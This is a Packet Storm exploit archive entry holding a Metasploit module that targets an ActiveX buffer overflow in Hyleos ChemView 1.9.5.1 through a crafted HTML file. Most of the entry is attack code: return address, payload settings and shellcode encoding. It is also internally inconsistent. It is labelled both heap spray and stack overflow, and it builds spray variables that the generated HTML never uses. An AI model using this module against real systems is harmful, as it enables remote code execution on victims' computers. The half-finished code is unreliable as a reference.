Hyleos ChemView 1.9.5.1 Heap Spray Exploit

2010-02-12T00:00:00
ID PACKETSTORM:86209
Type packetstorm
Reporter Dz_attacker
Modified 2010-02-12T00:00:00

Description

                                        
                                            `New Ticket: (No Subject)  
  
# Exploit Title: Hyleos ChemView 1.9.5.1 (HyleosChemView.ocx) Heap Spray Exploit (meta)  
# Date: 10/02/2010  
# Author: Dz_attacker  
# Download : http://www.hyleos.net/download/chemView.1.9.5.exe  
# Tested on: Windows xp sp3  
# Code :  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1  
By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer  
and execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dz_attacker <dz_attacker[at]hotmail.fr>'  
],  
'References' =>  
[  
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0a\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]  
],  
'DisclosureDate' => 'Feb 11 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),  
], self.class)  
end  
  
def exploit  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 300  
offset = target['Offset']  
  
# Randomize the javascript variable names  
chemview = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
  
  
html = %Q|<html>  
<object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object>  
  
</html>|  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(html)  
end  
  
end  
  
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Ticket Details  
===================  
Ticket ID: NEL-923067  
Department: Exploits  
Priority: Medium  
Status: Open  
Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=1953  
`